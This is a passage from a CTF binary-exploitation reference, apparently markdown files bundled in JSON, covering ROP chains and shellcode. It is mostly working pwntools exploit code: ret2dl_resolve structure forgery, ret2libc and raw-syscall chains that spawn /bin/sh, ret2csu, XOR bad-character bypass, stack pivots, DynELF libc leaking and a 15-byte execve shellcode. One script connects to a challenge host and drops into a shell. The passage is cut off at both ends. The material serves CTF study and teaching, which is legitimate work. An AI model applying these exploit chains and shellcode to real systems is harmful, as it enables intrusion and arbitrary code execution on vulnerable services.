__NR_execve\npop_rdi = rop_gadget # pop rdi; ret\npop_rsi = rop_gadget # pop rsi; ret\npop_rdx = rop_gadget # pop rdx; ret\n\npayload = flat(\n pop_rdi, 0, # fd = stdin\n pop_rsi, bss_addr, # buf = writable BSS\n pop_rdx, 59, # count = 59 = __NR_execve\n elf.plt['read'], # read(0, bss, 59) → rax = 59\n pop_rdi, binsh_addr, # rdi = \"/bin/sh\"\n pop_rsi, 0, # rsi = NULL\n pop_rdx, 0, # rdx = NULL\n elf.plt['srand'], # calls syscall (GOT overwritten)\n # rax=59, rdi=\"/bin/sh\", rsi=0, rdx=0 → execve(\"/bin/sh\", NULL, NULL)\n)\nio.sendline(payload)\n\n# Send exactly 59 bytes so read() returns 59 (sets rax = __NR_execve)\nio.send(b'A' * 59)\n```\n\n**Why read() always contains syscall:**\n```text\nread() in libc is a thin wrapper around the syscall instruction:\n mov eax, 0 ; SYS_read\n syscall ; \u003c-- this is what we're scanning for\n cmp rax, -4096\n ...\nThe bytes 0x0f 0x05 (syscall) are guaranteed to exist within read()\n```\n\n**Key insight:** Every libc function's code section contains useful gadgets. `read()` always contains a `syscall` instruction internally. By leaking a GOT entry and reading the function's machine code, you find `syscall` without knowing the libc version. The `read()` syscall return value conveniently sets `rax` to the number of bytes read — send exactly 59 bytes (`__NR_execve`) to set up the syscall number. This eliminates the need for a `pop rax; ret` gadget.\n\n**When to recognize:** Partial RELRO (GOT writable), no libc version available, but you can leak GOT entries and read arbitrary memory. Any function that performs a syscall internally (`read`, `write`, `open`, `mmap`) contains the `0f 05` bytes. `read()` is preferred because its return value naturally controls `rax`.\n\n**References:** Codegate 2018\n\n---\n\n## ret2dl_resolve 64-bit (Codegate 2018)\n\n**Pattern:** Forge fake `Elf64_Rela`, `Elf64_Sym`, and dynstr entries in writable memory (BSS) to trick the dynamic linker into resolving an arbitrary libc function (e.g., `system`) without knowing the libc base address. The 64-bit variant requires bypassing VERSYM checks by NULLing the version table pointer in the link_map.\n\n**How dynamic resolution works:**\n```text\nPLT stub → _dl_runtime_resolve(link_map, reloc_index)\n 1. Look up Elf64_Rela at .rela.plt[reloc_index]\n 2. Extract symbol index from r_info\n 3. Look up Elf64_Sym at .dynsym[sym_index]\n 4. Read symbol name from .dynstr + st_name offset\n 5. Search loaded libraries for that symbol name\n 6. [64-bit only] Check version via .gnu.version[sym_index] ← must bypass\n 7. Write resolved address to GOT, jump to it\n```\n\n**Forging the structures:**\n```python\nfrom pwn import *\n\n# Target: resolve system() by forging resolution structures in BSS\nBSS = 0x601000 # writable memory\nSTRTAB = elf.dynamic_value_by_tag('DT_STRTAB')\nSYMTAB = elf.dynamic_value_by_tag('DT_SYMTAB')\nJMPREL = elf.dynamic_value_by_tag('DT_JMPREL')\n\n# Calculate offsets so forged structures are self-consistent\nfake_rela_addr = BSS + 0x100\nfake_sym_addr = BSS + 0x200\nfake_str_addr = BSS + 0x300\n\n# Forged Elf64_Sym (24 bytes)\n# st_name: offset into dynstr where \"system\\x00\" lives\n# st_info: STT_FUNC | STB_GLOBAL\n# st_other, st_shndx: 0\n# st_value, st_size: 0 (unresolved)\nsym_index = (fake_sym_addr - SYMTAB) // 24 # index into symtab\nfake_sym = flat(\n p32(fake_str_addr - STRTAB), # st_name (offset to \"system\" in dynstr)\n p8(0x12), # st_info = STT_FUNC | STB_GLOBAL\u003c\u003c4\n p8(0), # st_other\n p16(0), # st_shndx = SHN_UNDEF\n p64(0), # st_value\n p64(0), # st_size\n)\n\n# Forged Elf64_Rela (24 bytes)\n# r_offset: GOT slot to write resolved address\n# r_info: (sym_index \u003c\u003c 32) | R_X86_64_JUMP_SLOT\n# r_addend: 0\nreloc_index = (fake_rela_addr - JMPREL) // 24\nfake_rela = flat(\n p64(BSS + 0x400), # r_offset (writable GOT slot)\n p64((sym_index \u003c\u003c 32) | 7), # r_info: sym_idx | R_X86_64_JUMP_SLOT\n p64(0), # r_addend\n)\n\n# Forged dynstr entry\nfake_str = b\"system\\x00\"\n\n# Write all structures to BSS via ROP chain\n# ...\n\n# CRITICAL: Bypass VERSYM check for 64-bit\n# Overwrite link_map->l_info[DT_VERSYM] with NULL\n# This skips version validation entirely\n# link_map address can be read from GOT[1]\nlink_map_addr = read_got(1) # GOT[1] = link_map pointer\n# l_info[DT_VERSYM] is at link_map + 0x1c8 (glibc-dependent)\nversym_ptr = link_map_addr + 0x1c8\nwrite_memory(versym_ptr, p64(0)) # NULL → skip version check\n\n# Trigger resolution: call PLT stub with forged reloc_index\n# _dl_runtime_resolve follows our forged chain:\n# fake Rela → fake Sym → fake dynstr \"system\"\n# → resolves system() → writes to fake GOT slot → jumps to system()\n```\n\n**ROP chain to trigger:**\n```python\n# After writing fake structures to BSS:\n# Push reloc_index and jump to PLT[0] (the universal resolver stub)\nplt_stub = elf.get_section_by_name('.plt').header.sh_addr\n\npayload = flat(\n pop_rdi, binsh_addr, # rdi = \"/bin/sh\" for system()\n plt_stub, # push link_map; jmp _dl_runtime_resolve\n p64(reloc_index), # relocation index into forged .rela.plt\n)\n```\n\n**Key insight:** 64-bit ret2dl_resolve is harder than 32-bit because of VERSYM checks. Overwrite `link_map->l_info[DT_VERSYM]` with NULL to skip version validation entirely. Then the standard approach works: forge Rela -> Sym -> dynstr chain in writable memory, trigger resolution via PLT stub with crafted reloc index. This resolves arbitrary libc functions without knowing the libc base — the dynamic linker does the work for you.\n\n**When to recognize:** No libc leak available, Partial RELRO (PLT/GOT writable), binary has enough ROP gadgets to write to BSS and control function arguments. Works on any glibc version (the VERSYM bypass via NULL is universal). Prefer this over blind libc identification when the remote libc version is completely unknown.\n\n**References:** Codegate 2018\n\n---\n\n## Prime-Only ROP via Goldbach Decomposition (PlaidCTF 2018)\n\n**Pattern:** Challenge constrains every stack word written by the attacker to be a prime number (`miller_rabin(val)` must return true on each slot). Direct gadget addresses are almost never prime, so the ROP chain looks impossible to build.\n\n**Exploit:** Goldbach's conjecture guarantees every even integer > 2 is the sum of two primes. Represent each target gadget address `g` as `g = p1 + p2` where `p1, p2` are primes, and write them into adjacent stack slots. A small \"prime adder\" gadget (`pop rax; pop rdx; add rax, rdx; push rax; ret` or a read-modify-write into the stack) consolidates the two halves into the real gadget pointer right before the `ret` that consumes it.\n\n```python\nfrom sympy import isprime, nextprime\n\ndef prime_split(addr):\n # Returns (p1, p2) with p1 + p2 == addr and both prime\n if addr % 2: # odd: (2, addr-2) if addr-2 prime, else search\n if isprime(addr - 2): return (2, addr - 2)\n p1 = 3\n while not (isprime(p1) and isprime(addr - p1)):\n p1 = nextprime(p1)\n return (p1, addr - p1)\n```\n\nChain multiple `(p1, p2, adder)` triples to synthesize arbitrary gadget addresses while every raw stack word still passes the primality filter.\n\n**Key insight:** Number-theoretic constraints on stack contents can always be defeated by writing a value as the sum/XOR/product of admissible parts and adding a tiny reducer gadget that recombines them at runtime. Goldbach gives a constructive two-term decomposition for addresses; Lagrange's four-square theorem works similarly for constraints that require perfect squares.\n\n**References:** PlaidCTF 2018 — writeup 10017\n\n---\n\n## Imperfect-Gadget Stack Pivot (RITSEC 2018)\n\n**Pattern:** Classic stack pivots use `leave; ret` or `xchg esp, eax; ret`, but sometimes the only usable gadget has benign middle instructions. A gadget like `pop ebp; add al, 0x89; pop esp; and al, 0x30; add esp, 0x24; ret` still pivots `esp` — the `add al`/`and al` side effects do not corrupt `esp` and the trailing `add esp, 0x24` just skips 9 slots you pre-pad with junk.\n\n```asm\n0x80c0620: pop ebp ; add al, 0x89 ; pop esp ; and al, 0x30 ; add esp, 0x24 ; ret\n```\n\nPlace a controlled heap address at the correct slot so `pop esp` lands you on a fake stack, then budget nine dummy dwords before the real chain to absorb `add esp, 0x24`.\n\n**Key insight:** Stop rejecting gadgets because they are noisy. Walk each gadget line-by-line; if none of the instructions clobber `esp`, the gadget still pivots even with spurious arithmetic.\n\n**References:** RITSEC CTF 2018 — Yet Another HR Management Framework, writeup 12287\n\n---\n\n## _fini_array Double-Entry Staged ROP (Insomnihack 2019)\n\n**Pattern:** Statically-linked binary has no PLT/GOT to hijack. However, `_fini_array` stores pointers called on `exit()`. Overwrite both entries so the first invocation runs `do_overwrite` (a gadget that lets you stage more bytes) and the second runs it again, letting you append ROP piece-by-piece across successive exits.\n\n```text\n_fini_array[0] = do_overwrite # stage 1: write next segment\n_fini_array[1] = do_overwrite # stage 2: write final segment + trigger\n```\n\nUse `add rsp, N; ret` pivots to walk below the current `rsp` so each stage concatenates onto the previous ROP frame.\n\n**Key insight:** `_fini_array` is effectively a re-entrant callback table in static binaries. Two entries plus any \"write N bytes to addr\" primitive gives you unlimited ROP depth without restarting the process.\n\n**References:** Insomnihack teaser 2019 — onewrite, writeup 12912\n\n---\n\n## ret2libc via Statically-Linked libc + Embedded /bin/sh String (TAMUctf 2019)\n\n**Pattern (pwn5):** Argument is copied into a fixed-size buffer with a 3-character *display* limit — but the underlying `gets()` still reads the full line, yielding a stack overflow 17 bytes past the buffer. The overflow slot is too small for a multi-gadget ROP chain, and no obvious `/bin/sh` appears at predictable addresses. Because the binary is **statically linked**, `system`, `exit`, and an embedded `\"/bin/sh\"` string from the libc blob all live at fixed addresses — one ret2libc call fits in the overflow slot.\n\n```python\nfrom pwn import *\n\n# Addresses resolved from the static binary itself:\n# (gdb) info address system -> 0x0804ee30\n# (gdb) info address exit -> 0x0804e330\n# 0x080bc140: \"/bin/sh\" (pulled from rodata / libc blob)\n\nsystem = 0x0804ee30\nexit_a = 0x0804e330\nbinsh = 0x080bc140\n\n# Overflow reaches saved EIP at cyclic offset 17 (cyclic -l on the crash)\npayload = cyclic(17)\npayload += p32(system) # ret -> system\npayload += p32(exit_a) # system's return addr -> exit (avoid SIGSEGV post-shell)\npayload += p32(binsh) # system's first arg\n\n# Keep the process alive after the shell spawns by piping stdin:\n# (python -c \"...\"; cat) | nc pwn.tamuctf.com 4325\nio = remote('pwn.tamuctf.com', 4325)\nio.sendline(payload)\nio.interactive()\n```\n\n**Key insight:** Static linking turns every libc symbol into a fixed-offset target inside the binary and drags the entire libc string table (including `\"/bin/sh\"`) along for free — no leak, no ROPgadget hunting for `/bin/sh`, no dynamic linker games. Whenever `checksec` shows \"No PIE\" AND `file` reports \"statically linked\", a 12-byte payload (`system; exit; &/bin/sh`) is usually enough, even in overflow windows too small for a 2-gadget chain. Confirm by `strings -a binary | grep -n /bin/sh` and `nm binary | grep ' T system'`.\n\n**References:** TAMUctf 2019 — pwn5, writeup 13428\n\n---\n\n## Useful Commands\n\n```bash\none_gadget libc.so.6 # Find one-shot gadgets\nropper -f binary # Find ROP gadgets\nROPgadget --binary binary # Alternative gadget finder\nseccomp-tools dump ./binary # Check seccomp rules\n```\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":33031,"content_sha256":"3d443788ac35dbcc9769ca0ae9ac9b7e3d9ece7024f0c5e18d64140b42ca8d60"},{"filename":"rop-and-shellcode.md","content":"# CTF Pwn - ROP Chains and Shellcode\n\n## Table of Contents\n- [ROP Chain Building](#rop-chain-building)\n - [Two-Stage ret2libc (Leak + Shell)](#two-stage-ret2libc-leak--shell)\n - [Raw Syscall ROP (When system() Fails)](#raw-syscall-rop-when-system-fails)\n - [rdx Control in ROP Chains](#rdx-control-in-rop-chains)\n - [Shell Interaction After execve](#shell-interaction-after-execve)\n- [ret2csu — __libc_csu_init Gadgets (Crypto-Cat)](#ret2csu--__libc_csu_init-gadgets-crypto-cat)\n- [Bad Character Bypass via XOR Encoding in ROP (Crypto-Cat)](#bad-character-bypass-via-xor-encoding-in-rop-crypto-cat)\n- [Exotic x86 Gadgets — BEXTR/XLAT/STOSB/PEXT (Crypto-Cat)](#exotic-x86-gadgets--bextrxlatstosbpext-crypto-cat)\n - [64-bit: BEXTR + XLAT + STOSB](#64-bit-bextr--xlat--stosb)\n - [32-bit: PEXT (Parallel Bits Extract)](#32-bit-pext-parallel-bits-extract)\n- [Stack Pivot via xchg rax,esp (Crypto-Cat)](#stack-pivot-via-xchg-raxesp-crypto-cat)\n- [sprintf() Gadget Chaining for Bad Character Bypass (PlaidCTF 2013)](#sprintf-gadget-chaining-for-bad-character-bypass-plaidctf-2013)\n- [DynELF Automated Libc Discovery (RC3 CTF 2016)](#dynelf-automated-libc-discovery-rc3-ctf-2016)\n- [Constrained Shellcode in Small Buffers (TUM CTF 2016)](#constrained-shellcode-in-small-buffers-tum-ctf-2016)\n- [Stack Canary XOR Epilogue as RDX Zeroing Gadget (VolgaCTF 2017)](#stack-canary-xor-epilogue-as-rdx-zeroing-gadget-volgactf-2017)\n- [Minimal Shellcode with Pre-Initialized Registers (Square CTF 2017)](#minimal-shellcode-with-pre-initialized-registers-square-ctf-2017)\n- [Unique-Byte Shellcode via syscall RIP to RCX (HITCON 2017)](#unique-byte-shellcode-via-syscall-rip-to-rcx-hitcon-2017)\n- [stub_execveat Syscall as execve Alternative (ASIS CTF 2018)](#stub_execveat-syscall-as-execve-alternative-asis-ctf-2018)\n- [Alphanumeric Shellcode Bootstrap via push/pop When rax=0 (nullcon HackIM 2019)](#alphanumeric-shellcode-bootstrap-via-pushpop-when-rax0-nullcon-hackim-2019)\n\nFor double stack pivot, SROP with UTF-8 constraints, RETF architecture switch, seccomp bypass, .fini_array hijack, ret2vdso, pwntools template, and shellcode with input reversal, see [rop-advanced.md](rop-advanced.md).\n\n---\n\n## ROP Chain Building\n\n```python\nfrom pwn import *\n\nelf = ELF('./binary')\nlibc = ELF('./libc.so.6')\nrop = ROP(elf)\n\n# Common gadgets\npop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]\nret = rop.find_gadget(['ret'])[0]\n\n# Leak libc\npayload = flat(\n b'A' * offset,\n pop_rdi,\n elf.got['puts'],\n elf.plt['puts'],\n elf.symbols['main']\n)\n```\n\n### Two-Stage ret2libc (Leak + Shell)\n\nWhen exploiting in two stages, choose the return target for stage 2 carefully:\n\n```python\n# Stage 1: Leak libc via puts@PLT, then re-enter vuln for stage 2\npayload1 = b'A' * offset\npayload1 += p64(pop_rdi)\npayload1 += p64(elf.got['puts'])\npayload1 += p64(elf.plt['puts'])\npayload1 += p64(CALL_VULN_ADDR) # Address of 'call vuln' instruction in main\n\n# IMPORTANT: Return target after leak\n# - Returning to main may crash if check_status/setup corrupts stack\n# - Returning to vuln directly may have stack issues\n# - Best: return to the 'call vuln' instruction in main (e.g., 0x401239)\n# This sets up a clean stack frame via the CALL instruction\n```\n\n**Leak parsing with no-newline printf:**\n```python\n# If printf(\"Laundry complete\") has no trailing newline,\n# puts() leak appears right after it on the same line:\n# Output: \"Laundry complete\\x50\\x5e\\x2c\\x7e\\x56\\x7f\\n\"\np.recvuntil(b'Laundry complete')\nleaked = p.recvline().strip()\nlibc_addr = u64(leaked.ljust(8, b'\\x00'))\n```\n\n### Raw Syscall ROP (When system() Fails)\n\nIf calling `system()` or `execve()` via libc function entry crashes (CET/IBT, stack issues), use raw `syscall` instruction from libc gadgets:\n\n```python\n# Find gadgets in libc\nlibc_rop = ROP(libc)\npop_rax = libc_rop.find_gadget(['pop rax', 'ret'])[0]\npop_rdi = libc_rop.find_gadget(['pop rdi', 'ret'])[0]\npop_rsi = libc_rop.find_gadget(['pop rsi', 'ret'])[0]\npop_rdx_rbx = libc_rop.find_gadget(['pop rdx', 'pop rbx', 'ret'])[0] # common in modern glibc\nsyscall_ret = libc_rop.find_gadget(['syscall', 'ret'])[0]\n\n# execve(\"/bin/sh\", NULL, NULL) = syscall 59\npayload = b'A' * offset\npayload += p64(libc_base + pop_rax)\npayload += p64(59)\npayload += p64(libc_base + pop_rdi)\npayload += p64(libc_base + next(libc.search(b'/bin/sh')))\npayload += p64(libc_base + pop_rsi)\npayload += p64(0)\npayload += p64(libc_base + pop_rdx_rbx)\npayload += p64(0)\npayload += p64(0) # rbx junk\npayload += p64(libc_base + syscall_ret)\n```\n\n**When to use raw syscall vs libc functions:**\n- `system()` through libc: simplest, but may crash due to stack alignment or CET\n- `execve()` through libc: avoids `system()`'s subprocess overhead, same CET risk\n- Raw `syscall`: bypasses all libc function prologues, most reliable for ROP\n- Note: `pop rdx; ret` is rare in modern libc; look for `pop rdx; pop rbx; ret` instead\n\n### rdx Control in ROP Chains\n\nAfter calling libc functions (especially `puts`), `rdx` is often clobbered to a small value (e.g., 1). This breaks subsequent `read(fd, buf, rdx)` calls in ROP chains.\n\n**Solutions:**\n1. **pop rdx gadget from libc** -- `pop rdx; ret` is rare; look for `pop rdx; pop rbx; ret` (common at ~0x904a9 in glibc 2.35)\n2. **Re-enter binary's read setup** -- Jump to code that sets `rdx` before `read`:\n ```python\n # vuln's read setup: lea rax,[rbp-0x40]; mov edx,0x100; mov rsi,rax; mov edi,0; call read\n # Set rbp first so rbp-0x40 points to target buffer:\n POP_RBP_RET = 0x40113d\n VULN_READ_SETUP = 0x4011ea # lea rax, [rbp-0x40]\n\n payload += p64(POP_RBP_RET)\n payload += p64(TARGET_ADDR + 0x40) # rbp-0x40 = TARGET_ADDR\n payload += p64(VULN_READ_SETUP) # read(0, TARGET_ADDR, 0x100)\n # WARNING: After read, code continues to printf + leave;ret\n # leave sets rsp=rbp, so you get a stack pivot to rbp!\n ```\n3. **Stack pivot via leave;ret** -- When re-entering vuln's read code, the `leave;ret` after read pivots the stack to `rbp`. Write your next ROP chain at `rbp+8` in the data you send via read.\n\n### Shell Interaction After execve\n\nAfter spawning a shell via ROP, the shell reads from the same stdin as the binary. Commands sent too early may be consumed by prior `read()` calls.\n\n```python\np.send(payload) # Trigger execve\n\n# Wait for shell to initialize before sending commands\nimport time\ntime.sleep(1)\np.sendline(b'id')\ntime.sleep(0.5)\nresult = p.recv(timeout=3)\n\n# For flag retrieval:\np.sendline(b'cat /flag* flag* 2>/dev/null')\ntime.sleep(0.5)\nflag = p.recv(timeout=3)\n\n# DON'T pipe commands via stdin when using pwntools - they get consumed\n# by earlier read() calls. Use explicit sendline() after delays instead.\n```\n\n## ret2csu — __libc_csu_init Gadgets (Crypto-Cat)\n\n**When to use:** Need to control `rdx`, `rsi`, and `edi` for a function call but no direct `pop rdx` gadget exists in the binary. `__libc_csu_init` is present in nearly all dynamically linked ELF binaries and contains two useful gadget sequences.\n\n**Gadget 1 (pop chain):** At the end of `__libc_csu_init`:\n```asm\npop rbx ; 0\npop rbp ; 1\npop r12 ; function pointer (address of GOT entry)\npop r13 ; edi value\npop r14 ; rsi value\npop r15 ; rdx value\nret\n```\n\n**Gadget 2 (call + set registers):** Earlier in `__libc_csu_init`:\n```asm\nmov rdx, r15 ; rdx = r15\nmov rsi, r14 ; rsi = r14\nmov edi, r13d ; edi = r13 (32-bit!)\ncall [r12 + rbx*8] ; call function pointer\nadd rbx, 1\ncmp rbp, rbx\njne .loop ; loop if rbx != rbp\n; falls through to gadget 1 pop chain\n```\n\n**Exploit pattern:**\n```python\ncsu_pop = elf.symbols['__libc_csu_init'] + OFFSET_TO_POP_CHAIN\ncsu_call = elf.symbols['__libc_csu_init'] + OFFSET_TO_MOV_CALL\n\npayload = flat(\n b'A' * offset,\n csu_pop,\n 0, # rbx = 0 (index)\n 1, # rbp = 1 (loop count, must equal rbx+1)\n elf.got['puts'], # r12 = function to call (GOT entry)\n 0xdeadbeef, # r13 → edi (first arg, 32-bit only!)\n 0xcafebabe, # r14 → rsi (second arg)\n 0x12345678, # r15 → rdx (third arg)\n csu_call, # trigger mov + call\n b'\\x00' * 56, # padding for the 7 pops after call returns\n next_gadget, # return address after csu completes\n)\n```\n\n**Limitations:** `edi` is set via `mov edi, r13d` — only the lower 32 bits are written. For 64-bit first arguments, use a `pop rdi; ret` gadget instead. The function is called via `call [r12 + rbx*8]` — an indirect call through a pointer, so `r12` must point to a GOT entry or other memory containing the target address.\n\n**Key insight:** ret2csu provides universal gadgets for setting up to 3 arguments (`rdi`, `rsi`, `rdx`) and calling any function via its GOT entry, without needing libc gadgets. Useful when the binary is statically small but dynamically linked.\n\n---\n\n## Bad Character Bypass via XOR Encoding in ROP (Crypto-Cat)\n\n**When to use:** ROP payload must write data (e.g., `\"/bin/sh\"` or `\"flag.txt\"`) to memory, but certain bytes are forbidden (null bytes, newlines, spaces, etc.).\n\n**Strategy:** XOR each chunk of data with a known key, write the XOR'd value to `.data` section, then XOR it back in place using gadgets from the binary.\n\n**Required gadgets:**\n```asm\npop r14; pop r15; ret ; load XOR key (r14) and target address (r15)\nxor [r15], r14; ret ; XOR memory at r15 with r14\nmov [r15], r14; ret ; write r14 to memory at r15 (initial write)\n```\n\n**Exploit pattern:**\n```python\ndata_section = elf.symbols['__data_start'] # or .data address\nxor_key = 2 # simple key that removes bad chars\n\ndef xor_bytes(data, key):\n return bytes(b ^ key for b in data)\n\ntarget = b\"flag.txt\"\nencoded = xor_bytes(target, xor_key)\n\npayload = b'A' * offset\n\n# Write XOR'd data in 8-byte chunks\nfor i in range(0, len(encoded), 8):\n chunk = encoded[i:i+8].ljust(8, b'\\x00')\n payload += flat(\n pop_r14_r15,\n chunk, # XOR'd data\n data_section + i, # destination address\n mov_r15_r14, # write to memory\n )\n\n# XOR each chunk back to recover original\nfor i in range(0, len(target), 8):\n payload += flat(\n pop_r14_r15,\n p64(xor_key), # XOR key\n data_section + i, # target address\n xor_r15_r14, # decode in place\n )\n\n# Now data_section contains \"flag.txt\" — use it as argument\npayload += flat(pop_rdi, data_section, elf.plt['print_file'])\n```\n\n**Key insight:** XOR is self-inverse (`a ^ k ^ k = a`). Choose a key that transforms all forbidden bytes into allowed ones. For simple cases, XOR with `2` or `0x41` works. For complex restrictions, solve per-byte: for each position, find any key byte where `original ^ key` avoids all bad characters.\n\n---\n\n## Exotic x86 Gadgets — BEXTR/XLAT/STOSB/PEXT (Crypto-Cat)\n\n**When to use:** Standard `mov [reg], reg` write gadgets don't exist in the binary. Look for obscure x86 instructions that can be chained for byte-by-byte memory writes.\n\n### 64-bit: BEXTR + XLAT + STOSB\n\n**BEXTR** (Bit Field Extract) extracts bits from a source register. **XLAT** translates a byte via table lookup (`al = [rbx + al]`). **STOSB** stores `al` to `[rdi]` and increments `rdi`.\n\n```python\n# Gadgets from questionableGadgets section of binary\nxlat_ret = elf.symbols.questionableGadgets # xlat byte ptr [rbx]; ret\nbextr_ret = elf.symbols.questionableGadgets + 2 # pop rdx; pop rcx; add rcx, 0x3ef2;\n # bextr rbx, rcx, rdx; ret\nstosb_ret = elf.symbols.questionableGadgets + 17 # stosb byte ptr [rdi], al; ret\n\ndata_section = elf.symbols.__data_start\n\n# Write \"flag.txt\" byte by byte\nfor i, char in enumerate(b\"flag.txt\"):\n # Find address of char in binary's read-only data\n char_addr = next(elf.search(bytes([char])))\n\n # BEXTR extracts rbx from rcx using rdx as control\n # rcx = char_addr - 0x3ef2 (compensate for add)\n # rdx = 0x4000 (extract 64 bits starting at bit 0)\n payload += flat(\n bextr_ret,\n 0x4000, # rdx (BEXTR control: start=0, len=64)\n char_addr - 0x3ef2, # rcx (offset compensated)\n xlat_ret, # al = byte at [rbx + al]\n pop_rdi,\n data_section + i,\n stosb_ret, # [rdi] = al; rdi++\n )\n```\n\n### 32-bit: PEXT (Parallel Bits Extract)\n\n**PEXT** selects bits from a source using a mask and packs them contiguously. Combined with BSWAP and XCHG for byte-level writes.\n\n```python\n# Gadgets\npext_ret = elf.symbols.questionableGadgets # mov eax,ebp; mov ebx,0xb0bababa;\n # pext edx,ebx,eax; ...ret\nbswap_ret = elf.symbols.questionableGadgets + 21 # pop ecx; bswap ecx; ret\nxchg_ret = elf.symbols.questionableGadgets + 18 # xchg byte ptr [ecx], dl; ret\n\n# For each target byte, compute mask so that PEXT(0xb0bababa, mask) = target_byte\ndef find_mask(target_byte, source=0xb0bababa):\n \"\"\"Find 32-bit mask that extracts target_byte from source via PEXT.\"\"\"\n source_bits = [(source >> i) & 1 for i in range(32)]\n target_bits = [(target_byte >> i) & 1 for i in range(8)]\n # Select 8 bits from source that match target bits\n mask = 0\n matched = 0\n for i in range(32):\n if matched \u003c 8 and source_bits[i] == target_bits[matched]:\n mask |= (1 \u003c\u003c i)\n matched += 1\n return mask if matched == 8 else None\n```\n\n**Key insight:** When a binary lacks standard write gadgets, exotic instructions (BEXTR, PEXT, XLAT, STOSB, BSWAP, XCHG) can be chained for the same effect. Check `questionableGadgets` or similar labeled sections in challenge binaries.\n\n---\n\n## Stack Pivot via xchg rax,esp (Crypto-Cat)\n\n**When to use:** Buffer is too small for the full ROP chain, but the program leaks a heap/stack address where a larger buffer has been prepared.\n\n**Two-stage pattern:**\n```python\n# Stage 1: Program provides a heap address where it wrote user data\npivot_addr = int(io.recvline(), 16)\n\n# Prepare ROP chain at the pivot address (via earlier input)\nstage2_rop = flat(\n pop_rdi, elf.got['puts'],\n elf.plt['puts'], # leak libc\n elf.symbols['main'], # return to main for stage 3\n)\nio.send(stage2_rop) # Written to pivot_addr by program\n\n# Stage 2: Overflow with stack pivot\nxchg_rax_esp = elf.symbols.usefulGadgets + 2 # xchg rax, esp; ret\npop_rax = elf.symbols.usefulGadgets # pop rax; ret\n\npayload = flat(\n b'A' * offset,\n pop_rax,\n pivot_addr, # load pivot address into rax\n xchg_rax_esp, # swap rax ↔ esp → stack now points to stage2_rop\n)\n```\n\n**Why xchg vs. leave;ret:**\n- `leave; ret` sets `rsp = rbp` — requires controlling `rbp` (often possible via overflow)\n- `xchg rax, esp` swaps directly — requires controlling `rax` (via `pop rax; ret`)\n- `xchg` works even when `rbp` is not on the stack (e.g., small buffer overflow)\n\n**Limitation:** `xchg rax, esp` truncates to 32-bit on x86-64 (sets upper 32 bits of rsp to 0). The pivot address must be in the lower 4GB of address space. Heap and mmap regions often qualify; stack addresses (0x7fff...) do not.\n\n---\n\n## sprintf() Gadget Chaining for Bad Character Bypass (PlaidCTF 2013)\n\n**Pattern:** When shellcode contains bytes filtered by the input handler (null, space, slash, colon, etc.), use `sprintf()` to copy individual bytes from the executable's own memory — one byte at a time — to assemble clean shellcode on BSS.\n\n```python\nfrom pwn import *\n\n# Step 1: Scan executable for addresses containing each needed byte\nexe_data = open('binary', 'rb').read()\nbyte_addrs = {} # Maps byte value -> address in executable\nfor c in range(256):\n for i in range(len(exe_data)):\n addr = exe_base + i\n if exe_data[i] == c and not has_bad_chars(p32(addr)):\n byte_addrs[c] = addr\n break\n\n# Step 2: Chain sprintf(bss_dest, byte_addr) for each shellcode byte\nrop = b''\nfor i, byte in enumerate(shellcode):\n rop += p32(sprintf_plt)\n rop += p32(pop3ret) # Clean 3 args\n rop += p32(bss_addr + i) # Destination\n rop += p32(byte_addrs[byte]) # Source (1 byte + null terminator)\n rop += p32(0) # Unused arg\n\n# Step 3: Jump to assembled shellcode on BSS\nrop += p32(bss_addr)\n```\n\n**Key insight:** `sprintf(dst, src)` copies bytes until a null terminator — effectively a single-byte copy when `src` points to a byte followed by `\\x00`. Each call in the ROP chain places one shellcode byte. The source addresses come from the binary's own `.text`/`.rodata` sections. Requires a `pop3ret` gadget for stack cleanup between calls.\n\n---\n\n## DynELF Automated Libc Discovery (RC3 CTF 2016)\n\nWhen the remote libc version is unknown, use pwntools' `DynELF` to resolve function addresses at runtime by leaking memory through a format string or read primitive.\n\n```python\nfrom pwn import *\n\nelf = ELF('./target')\nio = remote('target.ctf', 1337)\n\n# Define a leak function that reads memory at a given address\ndef leak(addr):\n payload = b'A' * offset\n payload += p64(elf.plt['printf']) # call printf to leak\n payload += p64(main_addr) # return to main for next leak\n payload += p64(addr) # argument: address to read\n io.sendline(payload)\n data = io.recvuntil(b'prompt', drop=True)\n return data\n\n# DynELF resolves symbols by parsing ELF structures in memory\nd = DynELF(leak, elf=elf)\nsystem_addr = d.lookup('system', 'libc')\nbinsh_addr = d.lookup(None, 'libc') # search for \"/bin/sh\" string\n\nlog.success(f\"system @ {hex(system_addr)}\")\n\n# Build final ROP chain with resolved addresses\npayload = b'A' * offset\npayload += p64(pop_rdi_ret)\npayload += p64(binsh_addr)\npayload += p64(system_addr)\nio.sendline(payload)\nio.interactive()\n```\n\n**Key insight:** DynELF parses the remote ELF's `.dynamic` section, link map, and symbol tables to resolve any libc function without knowing the libc version. Requires a reliable memory read primitive (leak function) that can read arbitrary addresses.\n\n---\n\n## Constrained Shellcode in Small Buffers (TUM CTF 2016)\n\nWhen shellcode space is severely limited (e.g., 15-16 bytes due to AES block size), use minimal register setup and avoid unnecessary instructions.\n\n```asm\n; 15-byte execve(\"/bin/sh\") shellcode for x86-64\n; Assumes: rsp points to writable area, \"/bin/sh\\0\" follows shellcode on stack\n; Written in fasm syntax:\n\nlea rdi, [rsp + 0x19] ; 4 bytes - pointer to \"/bin/sh\" on stack\ncdq ; 1 byte - rdx = 0 (envp = NULL)\npush rdx ; 1 byte - NULL terminator for argv\npush rdi ; 1 byte - argv[0] = \"/bin/sh\"\npush rsp ; 1 byte\npop rsi ; 1 byte - rsi = argv = {\"/bin/sh\", NULL}\npush 0x3b ; 2 bytes - syscall number for execve\npop rax ; 1 byte - rax = 59\nsyscall ; 2 bytes - execve(\"/bin/sh\", argv, NULL)\n; Total: 15 bytes\n\n; When AES-CBC is involved, craft IV to XOR-decrypt shellcode block:\n; crafted_iv = AES_decrypt(known_ciphertext) XOR shellcode\n```\n\n**Key insight:** The `cdq` instruction (1 byte) zero-extends eax into edx, and `push reg; pop reg` pairs (2 bytes) replace `mov` (3 bytes). For AES-block-constrained shellcode, compute the IV that decrypts to your shellcode by XORing `AES_decrypt(ciphertext_block)` with the desired shellcode.\n\n---\n\n## Stack Canary XOR Epilogue as RDX Zeroing Gadget (VolgaCTF 2017)\n\n**When to use:** Need `rdx = 0` for `execve(path, argv, NULL)` but no `pop rdx; ret` gadget exists in the binary. The canary verification epilogue `xor rdx, fs:28h` zeros RDX when the canary is 